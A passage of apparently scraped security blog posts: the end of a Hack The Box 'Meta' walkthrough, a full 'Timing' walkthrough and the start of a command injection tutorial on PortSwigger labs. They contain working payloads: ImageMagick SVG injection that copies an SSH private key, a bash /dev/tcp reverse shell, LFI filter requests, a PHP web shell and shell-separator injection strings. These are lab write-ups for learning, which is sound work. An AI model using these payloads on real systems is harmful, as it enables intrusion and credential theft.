periodically executed. If we wait for thomas to execute the script, we can execute it with his permissions. I first tried to make the script upload to /tmp/owned but it didn't want to do it. So I eventually managed to get Thomas execute the binary by uploading this file.\n1\u0026lt;image authenticate=\u0026#39;ff\u0026#34; `echo $(id)\u0026gt; /dev/shm/owned`;\u0026#34;\u0026#39;\u0026gt; 2 \u0026lt;read filename=\u0026#34;pdf:/etc/passwd\u0026#34;/\u0026gt; 3 \u0026lt;get width=\u0026#34;base-width\u0026#34; height=\u0026#34;base-height\u0026#34; /\u0026gt; 4 \u0026lt;resize geometry=\u0026#34;400x400\u0026#34; /\u0026gt; 5 \u0026lt;write filename=\u0026#34;test.png\u0026#34; /\u0026gt; 6 \u0026lt;svg width=\u0026#34;700\u0026#34; height=\u0026#34;700\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; xmlns:xlink=\u0026#34;http://www.w3.org/1999/xlink\u0026#34;\u0026gt; 7 \u0026lt;image xlink:href=\u0026#34;msl:poc.svg\u0026#34; height=\u0026#34;100\u0026#34; width=\u0026#34;100\u0026#34;/\u0026gt; 8 \u0026lt;/svg\u0026gt; 9\u0026lt;/image\u0026gt; Which shows us the following output.\n1cd /dev/shm 2 3cat 0wned 4uid=1000(thomas) gid=1000(thomas) groups=1000(thomas) We earlier found an .ssh directory in thomas' home folder that we could not access. Let's try to download Thomas' private key with the following script.\n1\u0026lt;image authenticate=\u0026#39;ff\u0026#34; `echo $(cat ~/.ssh/id_rsa)\u0026gt; /dev/shm/id_rsa`;\u0026#34;\u0026#39;\u0026gt; 2 \u0026lt;read filename=\u0026#34;pdf:/etc/passwd\u0026#34;/\u0026gt; 3 \u0026lt;get width=\u0026#34;base-width\u0026#34; height=\u0026#34;base-height\u0026#34; /\u0026gt; 4 \u0026lt;resize geometry=\u0026#34;400x400\u0026#34; /\u0026gt; 5 \u0026lt;write filename=\u0026#34;test.png\u0026#34; /\u0026gt; 6 \u0026lt;svg width=\u0026#34;700\u0026#34; height=\u0026#34;700\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; xmlns:xlink=\u0026#34;http://www.w3.org/1999/xlink\u0026#34;\u0026gt; 7 \u0026lt;image xlink:href=\u0026#34;msl:poc.svg\u0026#34; height=\u0026#34;100\u0026#34; width=\u0026#34;100\u0026#34;/\u0026gt; 8 \u0026lt;/svg\u0026gt; 9\u0026lt;/image\u0026gt; We upload the new poc.svg file and wait for the scheduled task to be executed.\n1cat /dev/shm/id_rsa 2 3-----BEGIN OPENSSH PRIVATE KEY----- 4b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn 5NhAAAAAwEAAQAAAYEAt9IoI5gHtz8omhsaZ9Gy+wXyNZPp5jJZvbOJ946OI4g2kRRDHDm5 6[...] 7keAmlMNeuMqgBO0guskmU25GX4O5Umt/IHqFHw99mcTGc/veEWIb8PUNV8p/sNaWUckEu9 8M4ofDQ3csqhrNLlvA68QRPMaZ9bFgYjhB1A1pGxOmu9Do+LNu0qr2/GBcCvYY2kI4GFINe 9bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE= 10-----END OPENSSH PRIVATE KEY----- We find his private key and use it to ssh onto the box as the thomas user.\n1kali@kali:~$ chmod 600 id_rsa_thomas 2 3kali@kali:~$ ssh thomas@artcorp.htb -i id_rsa_thomas 4 5thomas@meta:~$ whoami 6thomas 7 8thomas@meta:~$ ls 9user.txt Privilege escalation The next step is to escalate our privileges to root. When enumerating the box I already found it interesting that the Thomas user had a neofetch configuration file in his home directory. I execute sudo -l and obtain the following output.\n1sudo -l 2 3Matching Defaults entries for thomas on meta: 4 env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, env_keep+=XDG_CONFIG_HOME 5 6User thomas may run the following commands on meta: 7 (root) NOPASSWD: /usr/bin/neofetch \\\u0026#34;\\\u0026#34; We are allowed to run /usr/bin/neofetch as root. We try it, and see the following output.\n1thomas@meta:~$ sudo neofetch 2 _,met$$$$$gg. root@meta 3 ,g$$$$$$$$$$$$$$$P. --------- 4 ,g$$P\u0026#34; \u0026#34;\u0026#34;\u0026#34;Y$$.\u0026#34;. OS: Debian GNU/Linux 10 (buster) x86_64 5 ,$$P\u0026#39; `$$$. Host: VMware Virtual Platform None 6\u0026#39;,$$P ,ggs. `$$b: Kernel: 4.19.0-17-amd64 7`d$$\u0026#39; ,$P\u0026#34;\u0026#39; . $$$ Uptime: 3 hours, 4 mins 8 $$P d$\u0026#39; , $$P Packages: 495 (dpkg) 9 $$: $$. - ,d$$\u0026#39; Shell: bash 5.0.3 10 $$; Y$b._ _,d$P\u0026#39; CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz 11 Y$$. `.`\u0026#34;Y$$$$P\u0026#34;\u0026#39; GPU: VMware SVGA II Adapter 12 `$$b \u0026#34;-.__ Memory: 148MiB / 1994MiB 13 `Y$$ 14 `Y$$. 15 `$$b. 16 `Y$$b. 17 `\u0026#34;Y$b._ 18 `\u0026#34;\u0026#34;\u0026#34; Not gonna lie, this is a very creative privilege escalation vector. We can see that our neofetch is running as root@meta. We look up neofetch at gtfobins, and find the following privilege escalation vector. Gtfobins states that\nIf the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.\nLet's try to set the LFILE to /etc/shadow and run the command.\n1LFILE=/etc/shadow 2sudo neofetch --ascii $LFILE 3 4We trust you have received the usual lecture from the local System 5Administrator. It usually boils down to these three things: 6 7 #1) Respect the privacy of others. 8 #2) Think before you type. 9 #3) With great power comes great responsibility. 10 11[sudo] password for thomas: Aha. We could've known right away that this was not going to work. We are allowed to run neofetch as sudo, but no arguments as /usr/bin/neofetch \\\u0026quot;\\\u0026quot; was specified. Let's find another way to escalate our privileges. We take a look at the Neofetch config.conf file.\n1thomas@meta:~/.config/neofetch$ ls -lah 2total 24K 3drwxr-xr-x 2 thomas thomas 4.0K Dec 20 08:33 . 4drwxr-xr-x 3 thomas thomas 4.0K Aug 30 2021 .. 5-rw-r--r-- 1 thomas thomas 15K Aug 30 2021 config.conf Whenever Neofetch is launched, the commands specified in the config.conf file are executed. We can most likely add a simple reverse tcp shell to it and run it as root.\n1echo \u0026#34;/bin/bash -c \u0026#39;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.12/9001 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34; \u0026gt;\u0026gt; config.conf We then export Thomas' config to the XDG_CONFIG_HOME.\n1export XDG_CONFIG_HOME=\u0026#34;$HOME/.config\u0026#34; We set up a listener on our attackers VM.\n1kali@kali:~$ rlwrap nc -nvlp 9001 2listening on [any] 9001 ... We execute neofetch as root.\n1thomas@meta:~$ sudo neofetch And we get a reverse connection as the root user!\n1kali@kali:~$ rlwrap nc -nvlp 9001 2listening on [any] 9001 ... 3connect to [10.10.14.12] from (UNKNOWN) [10.129.114.21] 48746 4 5root@meta:~# whoami 6root 7 8root@meta:~# ls /root/ 9root.txt And we completed the box. This one was a lot of fun! I hope you guys managed to learn a thing or two. Good luck with completing the box yourself, and see you at the next one!\n","link":"https://aegrah.github.io/post/2022-04-07-meta-htb-walkthrough.html","section":"post","tags":["Hack the Box","Linux"],"title":"Hack The Box - Meta Walkthrough"},{"body":"Today we will be taking a look at Timing from Hack the Box. Timing is considered to be of medium difficulty, and requires the usage of a local file inclusion to eventually find credentials for the box. We then find an application that we can run with sudo permissions, and misuse it to gain root access.\nFoothold Let's start off by initiating an nmap scan, which will enumerate all services and their versions that are running on the machine. To ensure we aren't missing any critical information, I chose to specify the -p- flag to scan all ports as well.\n1nmap -sC -sV -p- -oA nmap/all_ports timing.htb The nmap scan came back with the following results.\n1PORT STATE SERVICE VERSION 222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 3| ssh-hostkey: 4| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA) 5| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA) 6|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519) 780/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 8| http-title: Simple WebApp 9|_Requested resource was ./login.php 10| http-cookie-flags: 11| /: 12| PHPSESSID: 13|_ httponly flag not set 14|_http-server-header: Apache/2.4.29 (Ubuntu) 15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel We find SSH open on port 22, and an Apache httpd version webserver with version 2.4.29 on port 80. Let's visit the webserver to see what we are dealing with. As the nmap scan already mentioned, we are automatically redirected to the /login.php login form. Before we start working with the login form, I always like to run enumeration tools in the background. Let's run gobuster. As we see login.php, I add the -x php flag to check for php files.\n1gobuster dir -u http://timing.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x php Let's start up BurpSuite, and analyze the login form. We login with admin:admin credentials, and send the following POST request.\n1POST /login.php?login=true HTTP/1.1 2Host: timing.htb 3Content-Length: 25 4Cache-Control: max-age=0 5Upgrade-Insecure-Requests: 1 6Origin: http://timing.htb 7Content-Type: application/x-www-form-urlencoded 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 10Referer: http://timing.htb/login.php 11Accept-Encoding: gzip, deflate 12Accept-Language: en-US,en;q=0.9 13Cookie: PHPSESSID=kgeait309cbhvqc7983bstr7vc 14Connection: close 15 16user=admin\u0026amp;password=admin Let's save the request and see if SQLMap manages to find an SQL vulnerability within this form.\n1sqlmap -r req --level=5 --risk=3 SQLMap does not find any injectable parameters. Let's take a look at the gobuster results.\n1/js (Status: 301) [Size: 305] [--\u0026gt; http://timing.htb/js/] 2/images (Status: 301) [Size: 309] [--\u0026gt; http://timing.htb/images/] 3/css (Status: 301) [Size: 306] [--\u0026gt; http://timing.htb/css/] 4/logout.php (Status: 302) [Size: 0] [--\u0026gt; ./login.php] 5/login.php (Status: 200) [Size: 5609] 6/upload.php (Status: 302) [Size: 0] [--\u0026gt; ./login.php] 7/image.php (Status: 200) [Size: 0] 8/profile.php (Status: 302) [Size: 0] [--\u0026gt; ./login.php] 9/index.php (Status: 302) [Size: 0] [--\u0026gt; ./login.php] 10/header.php (Status: 302) [Size: 0] [--\u0026gt; ./login.php] 11/footer.php (Status: 200) [Size: 3937] 12/server-status (Status: 403) [Size: 275] 13/db_conn.php (Status: 200) [Size: 0] It seems like we are able to enumerate existing pages, as we get redirects from logout.php, upload.php, profile.php etc. However, we cannot browse to these pages before we get access to the portal. We can however browse to image.php, which gives us a blank page. Let's figure out whether image.php has any functions that we can leverage. To figure this out we will be using wfuzz.\n1wfuzz -c -u http://timing.htb/image.php?FUZZ=/etc/passwd -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 0 We use -c to add colors, and add an LFI payload to the parameter option to test for local file inclusion. We get a 200 response code for every page, so we hide false-positives when the char count is 0. We get the following result:\n1===================================================================== 2ID Response Lines Word Chars Payload 3===================================================================== 4 5000000360: 200 0 L 3 W 25 Ch \u0026#34;img\u0026#34; We navigate to the page using an LFI payload.\n1GET /image.php?img=../../../../../../etc/passwd HTTP/1.1 And get the following output.\n1HTTP/1.1 200 OK 2 3Hacking attempt detected! Let's send this request to the Burp repeater, and see if we can bypass the security that is in place. PHP has a base64 filter that we can use for this purpose. Let's craft the following payload and send it to the server.\n1GET /image.php?img=php://filter/convert.base64-decoder/resource=../../../../../etc/passwd HTTP/1.1 The server still thinks we are sending a malicous request. After doing some tests I figured out that the server doesn't like the dots in the request, so I send the following one.\n1GET /image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd HTTP/1.1 After which the server responds with the contents of the /etc/passwd file.\n1root:x:0:0:root:/root:/bin/bash 2daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 3bin:x:2:2:bin:/bin:/usr/sbin/nologin 4sys:x:3:3:sys:/dev:/usr/sbin/nologin 5sync:x:4:65534:sync:/bin:/bin/sync 6games:x:5:60:games:/usr/games:/usr/sbin/nologin 7man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 8lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 9mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 10news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 11uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 12proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 13www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 14backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 15list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 16irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 17gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 18nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 19systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin 20systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin 21syslog:x:102:106::/home/syslog:/usr/sbin/nologin 22messagebus:x:103:107::/nonexistent:/usr/sbin/nologin 23_apt:x:104:65534::/nonexistent:/usr/sbin/nologin 24lxd:x:105:65534::/var/lib/lxd/:/bin/false 25uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin 26dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin 27landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin 28pollinate:x:109:1::/var/cache/pollinate:/bin/false 29sshd:x:110:65534::/run/sshd:/usr/sbin/nologin 30mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false 31aaron:x:1000:1000:aaron:/home/aaron:/bin/bash We see that there is a user on the box named aaron. Whenever I know a username on a box and have a local file inclusion, I always try to read the SSH private key of that user. Let's send the following request.\n1GET /image.php?img=php://filter/convert.base64-decoder/resource=/home/aaron/.ssh/id_rsa HTTP/1.1 But sadly, no luck. When we were running the gobuster scan earlier I stumbled onto a /db_conn.php file. This file seems interesting, as it could contain information regarding the underlying database. Let's try to get the contents of that file in a base64 encoded form.\n1GET /image.php?img=php://filter/convert.base64-encode/resource=db_conn.php HTTP/1.1 Which, when we decode it back from base64, shows us the following contents.\n1\u0026lt;?php 2$pdo = new PDO(\u0026#39;mysql:host=localhost;dbname=app\u0026#39;, \u0026#39;root\u0026#39;, \u0026#39;4_V3Ry_xxxxx_p422w0rd\u0026#39;); We find the credentials for the local mysql database. I tried to use them to get past the login form, but unfortunately there is no password reuse in play. Let's continue with the next file that we found using gobuster, which is upload.php.\n1\u0026lt;?php 2include(\u0026#34;admin_auth_check.php\u0026#34;); 3 4$upload_dir = \u0026#34;images/uploads/\u0026#34;; 5 6if (!file_exists($upload_dir)) { 7 mkdir($upload_dir, 0777, true); 8} 9 10$file_hash = uniqid(); 11 12$file_name = md5(\u0026#39;$file_hash\u0026#39; . time()) . \u0026#39;_\u0026#39; . basename($_FILES[\u0026#34;fileToUpload\u0026#34;][\u0026#34;name\u0026#34;]); 13$target_file = $upload_dir . $file_name; 14$error = \u0026#34;\u0026#34;; 15$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); 16 17if (isset($_POST[\u0026#34;submit\u0026#34;])) { 18 $check = getimagesize($_FILES[\u0026#34;fileToUpload\u0026#34;][\u0026#34;tmp_name\u0026#34;]); 19 if ($check === false) { 20 $error = \u0026#34;Invalid file\u0026#34;; 21 } 22} 23 24// Check if file already exists 25if (file_exists($target_file)) { 26 $error = \u0026#34;Sorry, file already exists.\u0026#34;; 27} 28 29if ($imageFileType != \u0026#34;jpg\u0026#34;) { 30 $error = \u0026#34;This extension is not allowed.\u0026#34;; 31} 32 33if (empty($error)) { 34 if (move_uploaded_file($_FILES[\u0026#34;fileToUpload\u0026#34;][\u0026#34;tmp_name\u0026#34;], $target_file)) { 35 echo \u0026#34;The file has been uploaded.\u0026#34;; 36 } else { 37 echo \u0026#34;Error: There was an error uploading your file.\u0026#34;; 38 } 39} else { 40 echo \u0026#34;Error: \u0026#34; . $error; 41} 42?\u0026gt; We can see that this php file provides us with the ability to upload files to the server. We however still need to be authenticated in order to use this. In the top statement there's an include statement, including the admin_auth_check.php file. Let's see look at this file.\n1GET /image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php HTTP/1.1 After decoding the contents back from base64 we get the following php code.\n1\u0026lt;?php 2 3include_once \u0026#34;auth_check.php\u0026#34;; 4 5if (!isset($_SESSION[\u0026#39;role\u0026#39;]) || $_SESSION[\u0026#39;role\u0026#39;] != 1) { 6 echo \u0026#34;No permission to access this panel!\u0026#34;; 7 header(\u0026#39;Location: ./index.php\u0026#39;); 8 die(); 9} 10 11?\u0026gt; This file checks whether the session role is equal to 1. If this is not the case, we will get a permission denied. It seems asif we really have to authenticate to the webapp in order to get onto this box. At this point I was feeling pretty stuck, so after looking at a few hints I realized that the credentials for the web app were as simple as aaron:aaron... This was a bit triggering but alright, let's continue! :)\nWe get logged onto the web app as \u0026quot;user 2\u0026quot;. In order to upload files, we need our user's role to be equal to 1. Our user pretty much only has one function, which is \u0026quot;edit profile\u0026quot;. Let's edit our profile and check the request.\n1POST /profile_update.php HTTP/1.1 2Host: timing.htb 3Content-Length: 52 4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 5Content-type: application/x-www-form-urlencoded 6Accept: */* 7Origin: http://timing.htb 8Referer: http://timing.htb/profile.php 9Accept-Encoding: gzip, deflate 10Accept-Language: en-US,en;q=0.9 11Cookie: PHPSESSID=kgeait309cbhvqc7983bstr7vc 12Connection: close 13 14firstName=test\u0026amp;lastName=test\u0026amp;email=test\u0026amp;company=test Let's see if we can change our role by supplying \u0026amp;role=1 to the request.\n1POST /profile_update.php HTTP/1.1 2[...] 3 4firstName=test\u0026amp;lastName=test\u0026amp;email=test\u0026amp;company=test\u0026amp;role=1 We forward the request, and out of nowhere the \u0026quot;admin panel\u0026quot; view pops up to our account. Nice. This admin panel allows us to upload an avatar image. Visiting this page directs us to the avatar_uploader.php file, which used the upload.php file to upload contents. After analyzing the upload.php file, we notice that we are not allowed to upload .jpg files, and that the file name is changed to the md5 hash of the file in combination with the output of the php time() command. Let's step-by-step exploit this file upload functionality.\nLet's first create a simple php command shell, and save it as shell.jpg.\n1\u0026lt;?php echo \u0026#39;\u0026lt;pre\u0026gt;\u0026#39; . shell_exec($_GET[\u0026#39;cmd\u0026#39;]) . \u0026#39;\u0026lt;/pre\u0026gt;\u0026#39;;?\u0026gt; Now we need to create a script that will get the name for the file that we are uploading. For this I create a simple Python script.\n1import time 2import hashlib 3 4while True: 5 print(f\u0026#34;hash = {hashlib.md5(\u0026#39;$file_hash\u0026#39;.encode() + str(int(time.time())).encode()).hexdigest()}\u0026#34;) 6 7 time.sleep(1) We try the the hashes created by the python script in combination with the filename, and eventually find the following request that works.\n1GET /image.php?img=images/uploads/0d6e548d7312cda8654014a8f17316f0_shell.jpg\u0026amp;cmd=whoami HTTP/1.1 Which responds with.\n1www-data We have achieved code execution! Let's quickly get a reverse shell onto this box before the file gets deleted! I try to get a reverse shell using netcat and a typical bash reverse shell on different ports, but sadly, no luck. Seems like there is a firewall in place that is blocking connections.\nLet's manually enumerate the box using our command shell. After looking through all of the /var/www/html/ files, user directories, back up directories and more, I finally stumble upon a source-files-backup.zip within the /opt/ directory. In order to download it, we need to move it to a location that is accessible for us, such as the /var/www/html/ directory.\n1GET /image.php?img=images/uploads/0d6e548d7312cda8654014a8f17316f0_shell.jpg\u0026amp;cmd=cp+/opt/source-files-backup.zip+/var/www/html/ HTTP/1.1 We can now navigate to http://timing.htb/source-files-backup.zip to download the file. We unzip the file, and find the following contents.\n1-rw-r--r-- 1 kali kali 200 Jul 21 2021 admin_auth_check.php 2-rw-r--r-- 1 kali kali 373 Jul 21 2021 auth_check.php 3-rw-r--r-- 1 kali kali 1.3K Jul 21 2021 avatar_uploader.php 4drwxr-xr-x 2 kali kali 4.0K Jul 21 2021 css 5-rw-r--r-- 1 kali kali 92 Jul 21 2021 db_conn.php 6-rw-r--r-- 1 kali kali 3.9K Jul 21 2021 footer.php 7drwxr-xr-x 8 kali kali 4.0K Jul 21 2021 .git 8-rw-r--r-- 1 kali kali 1.5K Jul 21 2021 header.php 9-rw-r--r-- 1 kali kali 507 Jul 21 2021 image.php 10drwxr-xr-x 3 kali kali 4.0K Jul 21 2021 images 11-rw-r--r-- 1 kali kali 188 Jul 21 2021 index.php 12drwxr-xr-x 2 kali kali 4.0K Jul 21 2021 js 13-rw-r--r-- 1 kali kali 2.1K Jul 21 2021 login.php 14-rw-r--r-- 1 kali kali 113 Jul 21 2021 logout.php 15-rw-r--r-- 1 kali kali 3.0K Jul 21 2021 profile.php 16-rw-r--r-- 1 kali kali 1.7K Jul 21 2021 profile_update.php 17-rw-r--r-- 1 kali kali 984 Jul 21 2021 upload.php We find a .git directory. Let's use gittools to extract the information from this git repo. We issue the following command.\n1/opt/tools/GitTools/Extractor/extractor.sh backup gittools_out When navigating through our dumped files, we stumble across a commit that changed the password within the db_conn.php file. Let's give it another shot, and try to use this password to connect to ssh. And finally, we get our user shell.\n1aaron@timing:~$ whoami 2\u0026gt;\u0026gt; aaron 3 4aaron@timing:~$ ls 5\u0026gt;\u0026gt;user.txt Privilege escalation Let's run Linpeas and hope that the privilege escalation of this box is less of a hell than the initial access :D Linpeas notices that our user is allowed to run /usr/bin/netutils as root. Let's run sudo -l.\n1aaron@timing:~$ sudo -l 2Matching Defaults entries for aaron on timing: 3 env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin 4 5User aaron may run the following commands on timing: 6 (ALL) NOPASSWD: /usr/bin/netutils When looking at the file that is being ran, we can see the following contents.\n1aaron@timing:~$ cat /usr/bin/netutils 2 3#! /bin/bash 4java -jar /root/netutils.jar When running the executable as sudo, we see that we are allowed to specify a URL to which the server will connect. The file that we specify is then saved onto Aaron's home directory.\n1aaron@timing:~$ sudo /usr/bin/netutils 2netutils v0.1 3Select one option: 4[0] FTP 5[1] HTTP 6[2] Quit 7Input \u0026gt;\u0026gt; 1 8Enter Url: http://10.10.14.29/file.txt 9Initializing download: http://10.10.14.29/file.txt 10File size: 563 bytes 11Opening output file keys 12Server unsupported, starting from scratch with one connection. 13Starting download 14 15Downloaded 10 byte in 0 seconds. (5.49 KB/s) Given this knowledge, we can create a symbolic link of the root ssh authorized_keys file, and then have root overwrite its own authorized_keys file with our public key. Let's first create the symbolic link.\n1aaron@timing:~$ ln -s /root/.ssh/authorized_keys pub_keys Now we create a new SSH key pair, and copy the id_rsa.pub file to pub_keys. We set up a Python webserver, and tell netutils to download the pub_keys file.\n1aaron@timing:~$ sudo /usr/bin/netutils 2netutils v0.1 3Select one option: 4[0] FTP 5[1] HTTP 6[2] Quit 7Input \u0026gt;\u0026gt; 1 8Enter Url: http://10.10.14.29/pub_keys 9Initializing download: http://10.10.14.29/pub_keys 10File size: 563 bytes 11Opening output file keys 12Server unsupported, starting from scratch with one connection. 13Starting download 14 15 16Downloaded 563 byte in 0 seconds. (5.49 KB/s) We can see that the file is downloaded in the web server logs.\n1Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 210.129.128.235 - - [04/Apr/2022 18:01:13] \u0026#34;GET /keys HTTP/1.0\u0026#34; 200 - 310.129.128.235 - - [04/Apr/2022 18:01:13] \u0026#34;GET /keys HTTP/1.0\u0026#34; 200 - Now we can finally logon to the server as root, using the basic ssh syntax.\n1kali@kali:~$ ssh root@timing.htb And we are root!\n1root@timing:~# whoami 2root 3root@timing:~# ls 4axel netutils.jar root.txt I hope this walkthrough has been useful to you. It sure has been a frustrating but educational experience for me! Thanks for reading, and have a nice day :)\n","link":"https://aegrah.github.io/post/2022-04-01-timing-htb-walkthrough.html","section":"post","tags":["Hack the Box","Linux"],"title":"Hack The Box - Timing Walkthrough"},{"body":"In the fourth post regarding web application security, we will be diving into OS command injection or shell injection attacks. We will be covering what command injection is, what different types of command injection attacks exist and how to prevent command injection vulnerabilities within your own web applications. While analyzing the topic, we will be going through several easy and more advanced labs, which are available for free at PortSwigger academy.\nWhat is Command Injection? Command injection or shell injection is a vulnerability which allows attackers to execute arbitrary operating system commands on the server that is hosting the vulnerable web application. By doing so, an attacker may leak sensitive data, or even take full control over the target server and use this server as a stepping stone to pivot further into the internal network.\nOften times, legacy applications leverage underlying scripts to communicate with back end systems to query and send information. Command injection vulnerabilities arise when unsanitized user input can be specified as parameters for these scripts. Let's take a look at an example. The following web applicatoins contains an OS command injection vulnerability in the product stock checker. The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response. Let's see how to exploit this vulnerability.\nWhen we use the \u0026quot;check stock\u0026quot; button within the web application, a POST request is sent to /product/stock with productId and StoreId as parameters.\n1POST /product/stock HTTP/1.1 2Host: ac101ff41ffad0ebc014355400c6008f.web-security-academy.net 3Cookie: session=AgfbEkUTQpSZDJAp2yobWHi1eoHxB3tr 4[...] 5Content-Type: application/x-www-form-urlencoded 6[...] 7 8productId=1\u0026amp;storeId=1 These parameters can be controlled by the user. The way to achieve command injection is to insert a shell command separator between the input to the script that we are calling and the OS command that we want to execute. If we would want to execute a regular OS payload, this would not work. Let's try.\n1POST /product/stock HTTP/1.1 2Host: ac101ff41ffad0ebc014355400c6008f.web-security-academy.net 3Cookie: session=AgfbEkUTQpSZDJAp2yobWHi1eoHxB3tr 4[...] 5 6productId=1\u0026amp;storeId=1 \u0026amp; whoami \u0026amp; Which only returns the actual stock like so.\n1HTTP/1.1 200 OK 2Content-Type: text/plain; charset=utf-8 3Connection: close 4Content-Length: 3 5 662 The reason that the injection above does not work, is because the server is expecting a URL encoded form. We can see this in the POST header. If we URL encode the payload like so\n1POST /product/stock HTTP/1.1 2Host: ac101ff41ffad0ebc014355400c6008f.web-security-academy.net 3Cookie: session=AgfbEkUTQpSZDJAp2yobWHi1eoHxB3tr 4[...] 5Content-Type: application/x-www-form-urlencoded 6[...] 7 8productId=1\u0026amp;storeId=1+%26+whoami+%26 We get a response with the output of the whoami command back.\n1HTTP/1.1 200 OK 2Content-Type: text/plain; charset=utf-8 3Connection: close 4Content-Length: 16 5 6peter-HPJaNK 762 In the backend, the following command is being executed. Some sort of script is called to query the available stock through the execution of an OS command, but we are telling the application to not just run the script, but also execute an additional OS command.\n1somescript.py 1 1 \u0026amp; whoami \u0026amp; The product ID and store ID are set to 1, after which the \u0026amp; shell command separator is used to execute an additional shell command. This allows us to see the result of the command back in the response of the web application. We add a trailing \u0026amp; character in order to ensure that our payload does not infer with possible other commands that are executed.\nUseful commands to execute in order to figure out whether we have command injection are the following.\nPurpose of Command Linux Windows Name of current user whoami whoami Operating system uname -a ver Network configuration ifconfig or ip a ipconfig /all Network connections netstat -tulpn netstat -an Running processes ps -aux tasklist Additionally, we can use these commands to create a reverse connection back to the attacker machine, allowing us to take over the server.\nWe just used the \u0026amp; shell command separator, however there are several other separators that can be useful in specific situations. A few separators that are useful for both Windows and Linux servers are the following.\n\u0026amp; \u0026amp;\u0026amp; | || For Unix-based operating systems we have several more options, such as.\n; \\n or 0x0a `injected_command` $(injected_command) When commands are executed between quotation marks, it might be the case that we first need to break out of the quotation marks before we can execute our payloads. In these instances, we have to make use of the \u0026quot; and ' characters to see what syntax we are dealing with.\nBlind OS Command Injection Methods Now that we have a general understanding of the command injection attack, we can take a look at some more advanced examples. In the last example the output of the command was printed to the screen. Often times, this is not the case. When this is not the case we speak of blind OS command injection. Due to this reason we need other methods to figure out whether or not our payload succeeded. This section describes several of the methods that are useful for blind OS command injection.\nTime Delays One way of figuring out whether or not your command injection payload worked, is by leveraging the sleep command. The sleep command allows you to let the server wait an X amount of time before executing the next instruction, thus allowing us to find the command injection vulnerability if it takes longer than an X amount of time before the server handles our request.\nLet's take a look at the following example. The web application contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. When we supply feedback to a product, the following POST request is sent to the server.\n1POST /feedback/submit HTTP/1.1 2Host: ac671f621f8941e6c06e04ab00e6007b.web-security-academy.net 3[...] 4 5csrf=Go1I7HcKufiodcSJY7WaJ91wSZO1TE33\u0026amp;name=test\u0026amp;email=test@test.nl\u0026amp;subject=test\u0026amp;message=test In the body of the request we can see that we, the user, can manipulate the name, email, subject and message of the feedback request. Our job is to find out which parameter is vulnerable, and make the server sleep for 10 seconds. To do this, we write the following payload\n1\u0026amp; sleep 10 \u0026amp; Which we URL-encode, because the server is again expecting a URL encoded request.\n1%26+sleep+10%26 And inject into the POST request.\n1POST /feedback/submit HTTP/1.1 2Host: ac671f621f8941e6c06e04ab00e6007b.web-security-academy.net 3Cookie: session=v1Fg39BCexTonWMoz7kj0cEVZkFyjrmd 4[...] 5 6csrf=Go1I7HcKufiodcSJY7WaJ91wSZO1TE33\u0026amp;name=test%26+sleep+10%26\u0026amp;email=test%26+sleep+10%26\u0026amp;subject=test%26+sleep+10%26\u0026amp;message=test%26+sleep+10%26 After which we manage to make the server sleep for 10 seconds. We now know that the application is vulnerable, but likely only in 1 field, because the response only took 10 seconds, not 40.\nWe 